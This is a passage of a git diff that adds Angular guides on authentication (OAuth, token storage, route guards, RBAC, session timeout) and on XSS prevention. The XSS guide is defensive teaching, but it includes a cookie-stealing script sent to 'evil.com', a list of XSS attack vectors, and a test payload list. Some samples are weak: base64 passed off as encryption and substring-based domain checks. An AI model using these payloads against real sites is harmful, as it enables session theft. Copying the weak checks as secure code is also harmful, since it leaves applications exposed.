+        return of(null);
+      })
+    ).subscribe();
+  }
+  
+  private getTimeUntilExpiry(token: string): number {
+    const decoded = this.decodeToken(token);
+    if (!decoded?.exp) return 0;
+    return (decoded.exp * 1000) - Date.now();
+  }
+}
+```
+
+---
+
+## OAuth2 & Social Login
+
+### OAuth2 Flow
+
+```
+1. User clicks "Login with Google"
+2. Redirect to OAuth provider (Google)
+3. User authorizes app
+4. Provider redirects back with authorization code
+5. Exchange code for access token
+6. Use token to get user info
+7. Create session in your app
+```
+
+### Social Login Service
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class SocialAuthService {
+  constructor(
+    private http: HttpClient,
+    private authService: AuthService
+  ) {}
+  
+  // Google OAuth2
+  loginWithGoogle(): void {
+    const clientId = environment.googleClientId;
+    const redirectUri = `${window.location.origin}/auth/google/callback`;
+    const scope = 'openid email profile';
+    
+    const authUrl = `https://accounts.google.com/o/oauth2/v2/auth?` +
+      `client_id=${clientId}&` +
+      `redirect_uri=${encodeURIComponent(redirectUri)}&` +
+      `response_type=code&` +
+      `scope=${encodeURIComponent(scope)}`;
+    
+    window.location.href = authUrl;
+  }
+  
+  // Handle OAuth callback
+  handleOAuthCallback(code: string, provider: string): Observable<AuthResponse> {
+    return this.http.post<AuthResponse>('/api/auth/oauth/callback', {
+      code,
+      provider
+    }).pipe(
+      tap(response => {
+        this.authService.setSession(response);
+      })
+    );
+  }
+  
+  // GitHub OAuth2
+  loginWithGitHub(): void {
+    const clientId = environment.githubClientId;
+    const redirectUri = `${window.location.origin}/auth/github/callback`;
+    
+    const authUrl = `https://github.com/login/oauth/authorize?` +
+      `client_id=${clientId}&` +
+      `redirect_uri=${encodeURIComponent(redirectUri)}&` +
+      `scope=user:email`;
+    
+    window.location.href = authUrl;
+  }
+}
+```
+
+### OAuth Callback Component
+
+```typescript
+@Component({
+  template: `<div>Completing login...</div>`
+})
+export class OAuthCallbackComponent implements OnInit {
+  constructor(
+    private route: ActivatedRoute,
+    private socialAuth: SocialAuthService,
+    private router: Router
+  ) {}
+  
+  ngOnInit() {
+    // Get authorization code from URL
+    this.route.queryParams.subscribe(params => {
+      const code = params['code'];
+      const provider = this.route.snapshot.paramMap.get('provider');
+      
+      if (code && provider) {
+        this.socialAuth.handleOAuthCallback(code, provider).subscribe({
+          next: () => {
+            this.router.navigate(['/dashboard']);
+          },
+          error: (error) => {
+            console.error('OAuth callback failed:', error);
+            this.router.navigate(['/login'], {
+              queryParams: { error: 'oauth_failed' }
+            });
+          }
+        });
+      }
+    });
+  }
+}
+```
+
+---
+
+## Token Management
+
+### Secure Token Storage
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class SecureTokenService {
+  // Option 1: Memory (most secure, lost on refresh)
+  private token: string | null = null;
+  
+  setToken(token: string): void {
+    this.token = token;
+  }
+  
+  getToken(): string | null {
+    return this.token;
+  }
+  
+  clearToken(): void {
+    this.token = null;
+  }
+}
+
+// Option 2: localStorage (survives refresh, vulnerable to XSS)
+class LocalStorageTokenService {
+  private readonly KEY = 'auth_token';
+  
+  setToken(token: string): void {
+    localStorage.setItem(this.KEY, token);
+  }
+  
+  getToken(): string | null {
+    return localStorage.getItem(this.KEY);
+  }
+  
+  clearToken(): void {
+    localStorage.removeItem(this.KEY);
+  }
+}
+
+// Option 3: HttpOnly cookie (most secure, set server-side)
+// Backend sets: Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
+// Frontend: Token automatically sent with requests
+```
+
+### Token Encryption (Client-Side)
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class EncryptedTokenService {
+  private readonly KEY = 'auth_token';
+  private readonly ENCRYPTION_KEY = 'your-encryption-key'; // From environment
+  
+  setToken(token: string): void {
+    const encrypted = this.encrypt(token);
+    localStorage.setItem(this.KEY, encrypted);
+  }
+  
+  getToken(): string | null {
+    const encrypted = localStorage.getItem(this.KEY);
+    if (!encrypted) return null;
+    
+    return this.decrypt(encrypted);
+  }
+  
+  private encrypt(text: string): string {
+    // Use Web Crypto API
+    // This is a simplified example
+    return btoa(text); // In production, use proper encryption
+  }
+  
+  private decrypt(encrypted: string): string {
+    try {
+      return atob(encrypted);
+    } catch {
+      return '';
+    }
+  }
+}
+```
+
+---
+
+## Route Guards
+
+### Auth Guard
+
+```typescript
+export const authGuard: CanActivateFn = (route, state) => {
+  const authService = inject(AuthService);
+  const router = inject(Router);
+  
+  if (authService.isAuthenticated()) {
+    return true;
+  }
+  
+  // Redirect to login with return URL
+  return router.createUrlTree(['/login'], {
+    queryParams: { returnUrl: state.url }
+  });
+};
+
+// Usage in routes
+export const routes: Routes = [
+  {
+    path: 'dashboard',
+    canActivate: [authGuard],
+    loadComponent: () => import('./dashboard/dashboard.component')
+  }
+];
+```
+
+### Role Guard
+
+```typescript
+export const roleGuard: CanActivateFn = (route, state) => {
+  const authService = inject(AuthService);
+  const router = inject(Router);
+  
+  // Check authentication
+  if (!authService.isAuthenticated()) {
+    return router.createUrlTree(['/login']);
+  }
+  
+  // Check role
+  const requiredRole = route.data['role'] as string;
+  const userRole = authService.getCurrentUser()?.role;
+  
+  if (requiredRole && userRole !== requiredRole) {
+    console.warn(`Access denied. Required role: ${requiredRole}, User role: ${userRole}`);
+    return router.createUrlTree(['/unauthorized']);
+  }
+  
+  return true;
+};
+
+// Usage
+{
+  path: 'admin',
+  canActivate: [authGuard, roleGuard],
+  data: { role: 'admin' },
+  loadChildren: () => import('./admin/admin.routes')
+}
+```
+
+### Permission Guard
+
+```typescript
+export const permissionGuard: CanActivateFn = (route, state) => {
+  const authService = inject(AuthService);
+  const router = inject(Router);
+  
+  if (!authService.isAuthenticated()) {
+    return router.createUrlTree(['/login']);
+  }
+  
+  const requiredPermissions = route.data['permissions'] as string[];
+  const userPermissions = authService.getCurrentUser()?.permissions || [];
+  
+  const hasPermission = requiredPermissions.every(permission =>
+    userPermissions.includes(permission)
+  );
+  
+  if (!hasPermission) {
+    return router.createUrlTree(['/forbidden']);
+  }
+  
+  return true;
+};
+
+// Usage
+{
+  path: 'users/edit/:id',
+  canActivate: [authGuard, permissionGuard],
+  data: { permissions: ['users.edit', 'users.view'] },
+  component: UserEditComponent
+}
+```
+
+### Can Deactivate Guard
+
+```typescript
+export interface CanComponentDeactivate {
+  canDeactivate: () => boolean | Observable<boolean>;
+}
+
+export const unsavedChangesGuard: CanDeactivateFn<CanComponentDeactivate> = (
+  component
+) => {
+  return component.canDeactivate
+    ? component.canDeactivate()
+    : true;
+};
+
+// Component implementation
+@Component({})
+export class EditFormComponent implements CanComponentDeactivate {
+  hasUnsavedChanges = false;
+  
+  canDeactivate(): boolean {
+    if (this.hasUnsavedChanges) {
+      return confirm('You have unsaved changes. Are you sure you want to leave?');
+    }
+    return true;
+  }
+}
+
+// Route
+{
+  path: 'edit/:id',
+  component: EditFormComponent,
+  canDeactivate: [unsavedChangesGuard]
+}
+```
+
+---
+
+## Role-Based Access Control
+
+### RBAC Service
+
+```typescript
+interface Permission {
+  resource: string;
+  actions: string[];
+}
+
+interface Role {
+  name: string;
+  permissions: Permission[];
+}
+
+@Injectable({ providedIn: 'root' })
+export class RbacService {
+  private roles: Map<string, Role> = new Map([
+    ['admin', {
+      name: 'admin',
+      permissions: [
+        { resource: 'users', actions: ['create', 'read', 'update', 'delete'] },
+        { resource: 'posts', actions: ['create', 'read', 'update', 'delete'] },
+        { resource: 'settings', actions: ['read', 'update'] }
+      ]
+    }],
+    ['editor', {
+      name: 'editor',
+      permissions: [
+        { resource: 'posts', actions: ['create', 'read', 'update'] },
+        { resource: 'media', actions: ['create', 'read', 'delete'] }
+      ]
+    }],
+    ['viewer', {
+      name: 'viewer',
+      permissions: [
+        { resource: 'posts', actions: ['read'] },
+        { resource: 'media', actions: ['read'] }
+      ]
+    }]
+  ]);
+  
+  constructor(private authService: AuthService) {}
+  
+  hasPermission(resource: string, action: string): boolean {
+    const user = this.authService.getCurrentUser();
+    if (!user || !user.role) return false;
+    
+    const role = this.roles.get(user.role);
+    if (!role) return false;
+    
+    const permission = role.permissions.find(p => p.resource === resource);
+    return permission?.actions.includes(action) || false;
+  }
+  
+  hasRole(roleName: string): boolean {
+    const user = this.authService.getCurrentUser();
+    return user?.role === roleName;
+  }
+  
+  hasAnyRole(roles: string[]): boolean {
+    const user = this.authService.getCurrentUser();
+    return roles.includes(user?.role || '');
+  }
+}
+```
+
+### Permission Directive
+
+```typescript
+@Directive({
+  selector: '[hasPermission]',
+  standalone: true
+})
+export class HasPermissionDirective implements OnInit {
+  @Input() hasPermission!: { resource: string; action: string };
+  
+  constructor(
+    private rbac: RbacService,
+    private templateRef: TemplateRef<any>,
+    private viewContainer: ViewContainerRef
+  ) {}
+  
+  ngOnInit() {
+    const { resource, action } = this.hasPermission;
+    
+    if (this.rbac.hasPermission(resource, action)) {
+      this.viewContainer.createEmbeddedView(this.templateRef);
+    } else {
+      this.viewContainer.clear();
+    }
+  }
+}
+
+// Usage
+<button *hasPermission="{ resource: 'users', action: 'delete' }">
+  Delete User
+</button>
+```
+
+### Role Directive
+
+```typescript
+@Directive({
+  selector: '[hasRole]',
+  standalone: true
+})
+export class HasRoleDirective implements OnInit {
+  @Input() hasRole!: string | string[];
+  
+  constructor(
+    private rbac: RbacService,
+    private templateRef: TemplateRef<any>,
+    private viewContainer: ViewContainerRef
+  ) {}
+  
+  ngOnInit() {
+    const roles = Array.isArray(this.hasRole) ? this.hasRole : [this.hasRole];
+    
+    if (this.rbac.hasAnyRole(roles)) {
+      this.viewContainer.createEmbeddedView(this.templateRef);
+    } else {
+      this.viewContainer.clear();
+    }
+  }
+}
+
+// Usage
+<div *hasRole="'admin'">
+  Admin content
+</div>
+
+<div *hasRole="['admin', 'editor']">
+  Admin or Editor content
+</div>
+```
+
+---
+
+## HTTP Interceptors
+
+### Auth Interceptor
+
+```typescript
+export const authInterceptor: HttpInterceptorFn = (req, next) => {
+  const authService = inject(AuthService);
+  const token = authService.getToken();
+  
+  // Skip auth for certain URLs
+  if (req.url.includes('/auth/login') || req.url.includes('/auth/register')) {
+    return next(req);
+  }
+  
+  // Add auth token
+  if (token) {
+    req = req.clone({
+      setHeaders: {
+        Authorization: `Bearer ${token}`,
+        'X-Requested-With': 'XMLHttpRequest'
+      }
+    });
+  }
+  
+  return next(req).pipe(
+    catchError((error: HttpErrorResponse) => {
+      if (error.status === 401) {
+        // Token expired or invalid
+        authService.logout();
+        inject(Router).navigate(['/login']);
+      }
+      return throwError(() => error);
+    })
+  );
+};
+```
+
+### Token Refresh Interceptor
+
+```typescript
+export const tokenRefreshInterceptor: HttpInterceptorFn = (req, next) => {
+  const authService = inject(AuthService);
+  const tokenService = inject(TokenRefreshService);
+  
+  return next(req).pipe(
+    catchError((error: HttpErrorResponse) => {
+      if (error.status === 401 && !req.url.includes('/auth/refresh')) {
+        // Try to refresh token
+        return tokenService.refreshToken().pipe(
+          switchMap(newToken => {
+            // Retry request with new token
+            const cloned = req.clone({
+              setHeaders: {
+                Authorization: `Bearer ${newToken}`
+              }
+            });
+            return next(cloned);
+          }),
+          catchError(refreshError => {
+            authService.logout();
+            return throwError(() => refreshError);
+          })
+        );
+      }
+      return throwError(() => error);
+    })
+  );
+};
+```
+
+---
+
+## Session Management
+
+### Session Service
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class SessionService {
+  private readonly TIMEOUT_DURATION = 30 * 60 * 1000; // 30 minutes
+  private timeoutId: any;
+  private lastActivity: number = Date.now();
+  
+  constructor(
+    private authService: AuthService,
+    private router: Router
+  ) {
+    this.startMonitoring();
+  }
+  
+  private startMonitoring(): void {
+    // Monitor user activity
+    fromEvent(document, 'click').pipe(
+      merge(
+        fromEvent(document, 'keypress'),
+        fromEvent(document, 'mousemove'),
+        fromEvent(document, 'scroll')
+      ),
+      throttleTime(1000)
+    ).subscribe(() => {
+      this.resetTimeout();
+    });
+    
+    this.resetTimeout();
+  }
+  
+  private resetTimeout(): void {
+    this.lastActivity = Date.now();
+    
+    // Clear existing timeout
+    if (this.timeoutId) {
+      clearTimeout(this.timeoutId);
+    }
+    
+    // Set new timeout
+    this.timeoutId = setTimeout(() => {
+      this.handleTimeout();
+    }, this.TIMEOUT_DURATION);
+  }
+  
+  private handleTimeout(): void {
+    console.log('Session timeout - logging out');
+    this.authService.logout();
+    this.router.navigate(['/login'], {
+      queryParams: { reason: 'session_timeout' }
+    });
+  }
+  
+  getLastActivity(): Date {
+    return new Date(this.lastActivity);
+  }
+  
+  getRemainingTime(): number {
+    const elapsed = Date.now() - this.lastActivity;
+    return Math.max(0, this.TIMEOUT_DURATION - elapsed);
+  }
+}
+```
+
+---
+
+## Best Practices
+
+✅ **DO**:
+- Use HTTPS for all auth endpoints
+- Store tokens in HttpOnly cookies when possible
+- Implement token refresh
+- Use route guards for protected routes
+- Validate tokens on server side
+- Implement session timeout
+- Log security events
+- Use strong password policies
+
+❌ **DON'T**:
+- Store sensitive data in localStorage
+- Send tokens in URL parameters
+- Trust client-side validation alone
+- Use weak encryption
+- Expose user roles/permissions in JWT
+- Skip CSRF protection
+- Hardcode secrets in code
+
+---
+
+*Authenticate securely, authorize precisely! 🔐*
diff --git a/skills/xss-prevention/SKILL.md b/skills/xss-prevention/SKILL.md
new file mode 100644
index 0000000..c920293
--- /dev/null
+++ b/skills/xss-prevention/SKILL.md
@@ -0,0 +1,731 @@
+# XSS Prevention in Angular
+
+Complete guide to preventing Cross-Site Scripting (XSS) attacks in Angular applications.
+
+## Table of Contents
+
+1. [Understanding XSS](#understanding-xss)
+2. [Angular's Built-in Protection](#angulars-built-in-protection)
+3. [DomSanitizer](#domsanitizer)
+4. [Content Security Policy](#content-security-policy)
+5. [Secure Coding Patterns](#secure-coding-patterns)
+6. [Common Vulnerabilities](#common-vulnerabilities)
+7. [Testing for XSS](#testing-for-xss)
+
+---
+
+## Understanding XSS
+
+### Types of XSS
+
+**1. Stored XSS (Persistent)**
+```typescript
+// Attacker stores malicious script in database
+userBio = '<script>fetch("evil.com?cookie=" + document.cookie)</script>';
+
+// Later displayed to other users
+<div [innerHTML]="userBio"></div> // Executes script
+```
+
+**2. Reflected XSS (Non-persistent)**
+```typescript
+// Malicious link: https://example.com?search=<script>alert(1)</script>
+
+// App reflects input without sanitization
+<div>Search results for: {{ searchQuery }}</div>
+```
+
+**3. DOM-based XSS**
+```typescript
+// URL: https://example.com#<img src=x onerror=alert(1)>
+
+// Unsafe DOM manipulation
+element.innerHTML = location.hash.substring(1);
+```
+
+### XSS Attack Vectors
+
+```typescript
+// Script tags
+<script>alert('XSS')</script>
+
+// Event handlers
+<img src=x onerror=alert('XSS')>
+<div onclick=alert('XSS')>
+
+// Data URLs
+<a href="data:text/html,<script>alert('XSS')</script>">
+
+// JavaScript URLs
+<a href="javascript:alert('XSS')">
+
+// Style injection
+<div style="background:url('javascript:alert(XSS)')">
+
+// SVG
+<svg onload=alert('XSS')>
+
+// Object/embed
+<object data="javascript:alert('XSS')">
+```
+
+---
+
+## Angular's Built-in Protection
+
+### Automatic Escaping
+
+```typescript
+// ✅ SAFE: Angular auto-escapes
+@Component({
+  template: `
+    <div>{{ userInput }}</div>
+    <div [textContent]="userInput"></div>
+  `
+})
+export class SafeComponent {
+  userInput = '<script>alert("XSS")</script>';
+  // Rendered as text, not executed
+}
+```
+
+### Security Contexts
+
+Angular sanitizes based on context:
+
+| Context | Element | Sanitization |
+|---------|---------|--------------|
+| HTML | `[innerHTML]` | Remove scripts, styles |
+| Style | `[style]` | Remove dangerous CSS |
+| URL | `[href]`, `[src]` | Block javascript: |
+| Resource URL | `<iframe src>` | Strict validation |
+
+---
+
+## DomSanitizer
+
+### Basic Usage
+
+```typescript
+import { DomSanitizer, SafeHtml, SecurityContext } from '@angular/platform-browser';
+
+@Component({
+  template: `<div [innerHTML]="safeHtml"></div>`
+})
+export class SanitizedComponent {
+  safeHtml: SafeHtml;
+  
+  constructor(private sanitizer: DomSanitizer) {
+    const userInput = '<p>Hello</p><script>alert("XSS")</script>';
+    
+    // Sanitize HTML
+    this.safeHtml = this.sanitizer.sanitize(
+      SecurityContext.HTML,
+      userInput
+    );
+    // Result: '<p>Hello</p>' (script removed)
+  }
+}
+```
+
+### Security Contexts
+
+```typescript
+export class SecurityContextsComponent {
+  constructor(private sanitizer: DomSanitizer) {}
+  
+  // HTML Context
+  sanitizeHtml(html: string): SafeHtml {
+    return this.sanitizer.sanitize(SecurityContext.HTML, html);
+  }
+  
+  // Style Context
+  sanitizeStyle(style: string): SafeStyle {
+    return this.sanitizer.sanitize(SecurityContext.STYLE, style);
+  }
+  
+  // URL Context
+  sanitizeUrl(url: string): SafeUrl {
+    return this.sanitizer.sanitize(SecurityContext.URL, url);
+  }
+  
+  // Resource URL Context (iframes, etc)
+  sanitizeResourceUrl(url: string): SafeResourceUrl {
+    return this.sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
+  }
+}
+```
+
+### Bypassing Security (Use with Extreme Caution)
+
+```typescript
+// ⚠️ DANGEROUS: Only use when absolutely necessary
+export class BypassSecurityComponent {
+  constructor(private sanitizer: DomSanitizer) {}
+  
+  // Bypass HTML sanitization
+  getTrustedHtml(html: string): SafeHtml {
+    // Only use with trusted, server-validated content!
+    return this.sanitizer.bypassSecurityTrustHtml(html);
+  }
+  
+  // Bypass URL sanitization
+  getTrustedUrl(url: string): SafeUrl {
+    // Validate URL is from trusted domain first!
+    if (this.isTrustedDomain(url)) {
+      return this.sanitizer.bypassSecurityTrustUrl(url);
+    }
+    throw new Error('Untrusted URL');
+  }
+  
+  private isTrustedDomain(url: string): boolean {
+    const trustedDomains = ['example.com', 'cdn.example.com'];
+    try {
+      const domain = new URL(url).hostname;
+      return trustedDomains.some(trusted => domain.endsWith(trusted));
+    } catch {
+      return false;
+    }
+  }
+}
+```
+
+### Safe HTML with Markdown
+
+```typescript
+import { marked } from 'marked';
+
+@Component({
+  template: `<div [innerHTML]="renderedMarkdown"></div>`
+})
+export class MarkdownComponent {
+  @Input() set markdown(value: string) {
+    // Convert markdown to HTML
+    const rawHtml = marked(value);
+    
+    // Sanitize the HTML
+    this.renderedMarkdown = this.sanitizer.sanitize(
+      SecurityContext.HTML,
+      rawHtml
+    );
+  }
+  
+  renderedMarkdown: SafeHtml;
+  
+  constructor(private sanitizer: DomSanitizer) {}
+}
+```
+
+---
+
+## Content Security Policy
+
+### CSP Headers
+
+```html
+<!-- index.html -->
+<meta http-equiv="Content-Security-Policy" content="
+  default-src 'self';
+  script-src 'self' 'nonce-{RANDOM}';
+  style-src 'self' 'nonce-{RANDOM}';
+  img-src 'self' data: https:;
+  font-src 'self' data:;
+  connect-src 'self' https://api.example.com;
+  frame-ancestors 'none';
+  base-uri 'self';
+  form-action 'self';
+">
+```
+
+### CSP Directives
+
+```
+default-src 'self'                # Default policy
+script-src 'self' 'unsafe-inline' # Where scripts can load from
+style-src 'self' 'unsafe-inline'  # Where styles can load from
+img-src 'self' data: https:       # Image sources
+font-src 'self' data:             # Font sources
+connect-src 'self' api.example.com # XHR/WebSocket connections
+frame-ancestors 'none'            # Prevent clickjacking
+base-uri 'self'                   # Restrict <base> tag
+form-action 'self'                # Form submission targets
+upgrade-insecure-requests         # Upgrade HTTP to HTTPS
+```
+
+### CSP with Nonce
+
+```typescript
+// Server-side (Node.js example)
+app.use((req, res, next) => {
+  const nonce = crypto.randomBytes(16).toString('base64');
+  res.locals.nonce = nonce;
+  
+  res.setHeader('Content-Security-Policy', `
+    script-src 'self' 'nonce-${nonce}';
+    style-src 'self' 'nonce-${nonce}';
+  `);
+  
+  next();
+});
+
+// HTML template
+<script nonce="<%= nonce %>">
+  console.log('Allowed with nonce');
+</script>
+```
+
+### CSP Violation Reporting
+
+```html
+<meta http-equiv="Content-Security-Policy" content="
+  default-src 'self';
+  report-uri /api/csp-violations;
+">
+```
+
+```typescript
+// Server endpoint to receive violations
+app.post('/api/csp-violations', (req, res) => {
+  console.error('CSP Violation:', req.body);
+  // Log to security monitoring system
+  res.status(204).end();
+});
+```
+
+---
+
+## Secure Coding Patterns
+
+### Pattern 1: Avoid innerHTML
+
+```typescript
+// ❌ BAD
+@Component({
+  template: `<div [innerHTML]="content"></div>`
+})
+
+// ✅ GOOD: Use text interpolation
+@Component({
+  template: `<div>{{ content }}</div>`
+})
+
+// ✅ GOOD: Component composition
+@Component({
+  template: `
+    <div *ngFor="let item of items">
+      <app-safe-content [data]="item"></app-safe-content>
+    </div>
+  `
+})
+```
+
+### Pattern 2: Whitelist URLs
+
+```typescript
+@Component({
+  template: `<a [href]="safeUrl">Link</a>`
+})
+export class LinkComponent {
+  @Input() set url(value: string) {
+    this.safeUrl = this.validateUrl(value);
+  }
+  
+  safeUrl: string | null;
+  
+  private allowedProtocols = ['http:', 'https:', 'mailto:'];
+  private blockedDomains = ['evil.com', 'phishing.net'];
+  
+  private validateUrl(url: string): string | null {
+    try {
+      const parsed = new URL(url);
+      
+      // Check protocol
+      if (!this.allowedProtocols.includes(parsed.protocol)) {
+        console.warn('Blocked URL with invalid protocol:', url);
+        return null;
+      }
+      
+      // Check domain blacklist
+      if (this.blockedDomains.some(blocked => 
+        parsed.hostname.includes(blocked)
+      )) {
+        console.warn('Blocked URL from blacklisted domain:', url);
+        return null;
+      }
+      
+      return url;
+    } catch {
+      console.warn('Invalid URL:', url);
+      return null;
+    }
+  }
+}
+```
+
+### Pattern 3: Sanitize User Content
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class ContentSanitizerService {
+  constructor(private sanitizer: DomSanitizer) {}
+  
+  // Sanitize HTML content
+  sanitizeHtml(html: string): SafeHtml {
+    // Remove dangerous tags
+    const dangerous = ['script', 'iframe', 'object', 'embed', 'style'];
+    let cleaned = html;
+    
+    dangerous.forEach(tag => {
+      const regex = new RegExp(`<${tag}[^>]*>.*?<\/${tag}>`, 'gi');
+      cleaned = cleaned.replace(regex, '');
+    });
+    
+    // Remove event handlers
+    cleaned = cleaned.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
+    
+    // Sanitize with Angular
+    return this.sanitizer.sanitize(SecurityContext.HTML, cleaned);
+  }
+  
+  // Sanitize for display in form
+  sanitizeFormInput(input: string): string {
+    return input
+      .replace(/</g, '&lt;')
+      .replace(/>/g, '&gt;')
+      .replace(/"/g, '&quot;')
+      .replace(/'/g, '&#x27;')
+      .replace(/\//g, '&#x2F;');
+  }
+}
+```
+
+### Pattern 4: Safe File Upload
+
+```typescript
+@Component({
+  template: `
+    <input type="file" (change)="onFileSelect($event)" accept="image/*">
+    <img *ngIf="preview" [src]="preview" alt="Preview">
+  `
+})
+export class SafeFileUploadComponent {
+  preview: SafeUrl | null = null;
+  
+  constructor(private sanitizer: DomSanitizer) {}
+  
+  onFileSelect(event: Event) {
+    const input = event.target as HTMLInputElement;
+    const file = input.files?.[0];
+    
+    if (!file) return;
+    
+    // Validate file type
+    const validTypes = ['image/jpeg', 'image/png', 'image/gif'];
+    if (!validTypes.includes(file.type)) {
+      alert('Invalid file type');
+      return;
+    }
+    
+    // Validate file size (5MB max)
+    if (file.size > 5 * 1024 * 1024) {
+      alert('File too large');
+      return;
+    }
+    
+    // Create safe preview
+    const reader = new FileReader();
+    reader.onload = (e) => {
+      const dataUrl = e.target?.result as string;
+      
+      // Sanitize data URL
+      this.preview = this.sanitizer.sanitize(
+        SecurityContext.URL,
+        dataUrl
+      );
+    };
+    reader.readAsDataURL(file);
+  }
+}
+```
+
+### Pattern 5: Safe Dynamic Content
+
+```typescript
+// ❌ BAD: Dynamic script execution
+eval(userCode);
+new Function(userCode)();
+
+// ✅ GOOD: Configuration-based logic
+@Component({
+  template: `
+    <div *ngIf="config.showHeader">
+      <h1>{{ config.title }}</h1>
+    </div>
+    
+    <div *ngFor="let section of config.sections">
+      <app-section [data]="section"></app-section>
+    </div>
+  `
+})
+export class ConfigurableComponent {
+  @Input() config: {
+    showHeader: boolean;
+    title: string;
+    sections: Section[];
+  };
+}
+```
+
+---
+
+## Common Vulnerabilities
+
+### Vulnerability 1: innerHTML with User Data
+
+```typescript
+// ❌ VULNERABLE
+@Component({
+  template: `<div [innerHTML]="userBio"></div>`
+})
+export class VulnerableComponent {
+  @Input() userBio: string;
+}
+
+// Attack:
+userBio = '<img src=x onerror="alert(document.cookie)">';
+
+// ✅ FIX 1: Remove innerHTML
+@Component({
+  template: `<div>{{ userBio }}</div>`
+})
+
+// ✅ FIX 2: Sanitize
+@Component({
+  template: `<div [innerHTML]="safeUserBio"></div>`
+})
+export class SecureComponent {
+  @Input() set userBio(value: string) {
+    this.safeUserBio = this.sanitizer.sanitize(
+      SecurityContext.HTML,
+      value
+    );
+  }
+  safeUserBio: SafeHtml;
+  constructor(private sanitizer: DomSanitizer) {}
+}
+```
+
+### Vulnerability 2: Unsafe URL Binding
+
+```typescript
+// ❌ VULNERABLE
+<a [href]="userUrl">Click</a>
+
+// Attack:
+userUrl = 'javascript:alert(document.cookie)';
+
+// ✅ FIX
+@Component({
+  template: `<a [href]="safeUrl">Click</a>`
+})
+export class SecureComponent {
+  @Input() set userUrl(value: string) {
+    try {
+      const url = new URL(value);
+      if (url.protocol === 'http:' || url.protocol === 'https:') {
+        this.safeUrl = value;
+      } else {
+        console.warn('Blocked unsafe URL protocol:', url.protocol);
+        this.safeUrl = null;
+      }
+    } catch {
+      this.safeUrl = null;
+    }
+  }
+  safeUrl: string | null;
+}
+```
+
+### Vulnerability 3: Document Write
+
+```typescript
+// ❌ NEVER USE
+document.write(userContent);
+document.writeln(userContent);
+
+// ✅ USE ANGULAR
+@Component({
+  template: `<div>{{ content }}</div>`
+})
+```
+
+### Vulnerability 4: Unsafe Third-Party Content
+
+```typescript
+// ❌ VULNERABLE: Untrusted iframe
+<iframe [src]="videoUrl"></iframe>
+
+// ✅ SECURE: Whitelist domains
+@Component({
+  template: `<iframe *ngIf="trustedUrl" [src]="trustedUrl"></iframe>`
+})
+export class VideoComponent {
+  @Input() set videoUrl(url: string) {
+    const trusted = ['youtube.com', 'vimeo.com'];
+    try {
+      const domain = new URL(url).hostname;
+      if (trusted.some(t => domain.includes(t))) {
+        this.trustedUrl = this.sanitizer.bypassSecurityTrustResourceUrl(url);
+      } else {
+        console.warn('Untrusted video domain:', domain);
+        this.trustedUrl = null;
+      }
+    } catch {
+      this.trustedUrl = null;
+    }
+  }
+  trustedUrl: SafeResourceUrl | null;
+  constructor(private sanitizer: DomSanitizer) {}
+}
+```
+
+---
+
+## Testing for XSS
+
+### Manual Testing
+
+```typescript
+// Test payloads
+const xssPayloads = [
+  '<script>alert("XSS")</script>',
+  '<img src=x onerror=alert("XSS")>',
+  '<svg onload=alert("XSS")>',
+  'javascript:alert("XSS")',
+  '<iframe src="javascript:alert(\'XSS\')">',
+  '<body onload=alert("XSS")>',
+  '<input onfocus=alert("XSS") autofocus>',
+  '<select onfocus=alert("XSS") autofocus>',
+  '<textarea onfocus=alert("XSS") autofocus>',
+  '<img src=x:alert(alt) onerror=eval(src) alt=xss>',
+  '"><script>alert(String.fromCharCode(88,83,83))</script>',
+  '<img src=/ onerror="alert(String.fromCharCode(88,83,83))">',
+];
+
+// Test each input field
+xssPayloads.forEach(payload => {
+  component.userInput = payload;
+  fixture.detectChanges();
+  // Check if script executes or is safely escaped
+});
+```
+
+### Automated Testing
+
+```typescript
+describe('XSS Prevention', () => {
+  it('should escape HTML in text interpolation', () => {
+    component.content = '<script>alert("XSS")</script>';
+    fixture.detectChanges();
+    
+    const element = fixture.nativeElement;
+    expect(element.textContent).toContain('&lt;script&gt;');
+    expect(element.innerHTML).not.toContain('<script>');
+  });
+  
+  it('should sanitize innerHTML', () => {
+    const malicious = '<p>Safe</p><script>alert("XSS")</script>';
+    component.setHtml(malicious);
+    fixture.detectChanges();
+    
+    const element = fixture.nativeElement.querySelector('.content');
+    expect(element.innerHTML).toContain('<p>Safe</p>');
+    expect(element.innerHTML).not.toContain('<script>');
+  });
+  
+  it('should block javascript: URLs', () => {
+    component.url = 'javascript:alert("XSS")';
+    fixture.detectChanges();
+    
+    const link = fixture.nativeElement.querySelector('a');
+    expect(link.getAttribute('href')).toBeNull();
+  });
+});
+```
+
+### Security Testing Tools
+
+```bash
+# OWASP ZAP
+docker run -t owasp/zap2docker-stable zap-baseline.py \
+  -t http://localhost:4200
+
+# Snyk
+npm install -g snyk
+snyk test
+snyk monitor
+
+# npm audit
+npm audit
+npm audit fix
+```
+
+---
+
+## Best Practices Summary
+
+✅ **DO**:
+- Use text interpolation `{{ }}` by default
+- Sanitize with `DomSanitizer` when HTML is needed
+- Implement Content Security Policy
+- Validate and whitelist URLs
+- Escape user input in forms
+- Use Angular's built-in protection
+- Test with XSS payloads
+- Keep dependencies updated
+
+❌ **DON'T**:
+- Use `innerHTML` with user data
+- Use `bypassSecurityTrust*` without validation
+- Use `eval()` or `Function()` constructor
+- Trust client-side validation alone
+- Disable CSP without good reason
+- Expose sensitive data in templates
+- Use `document.write()`
+
+---
+
+## Quick Reference
+
+### Security Context Methods
+
+```typescript
+// Sanitize
+sanitizer.sanitize(SecurityContext.HTML, html);
+sanitizer.sanitize(SecurityContext.STYLE, style);
+sanitizer.sanitize(SecurityContext.URL, url);
+sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
+
+// Bypass (use with caution!)
+sanitizer.bypassSecurityTrustHtml(html);
+sanitizer.bypassSecurityTrustStyle(style);
+sanitizer.bypassSecurityTrustUrl(url);
+sanitizer.bypassSecurityTrustResourceUrl(url);
+```
+
+### CSP Quick Start
+
+```html
+<meta http-equiv="Content-Security-Policy" content="
+  default-src 'self';
+  script-src 'self';
+  style-src 'self';
+  img-src 'self' data: https:;
+  connect-src 'self' https://api.example.com;
+  frame-ancestors 'none';
+">
+```
+
+---
+
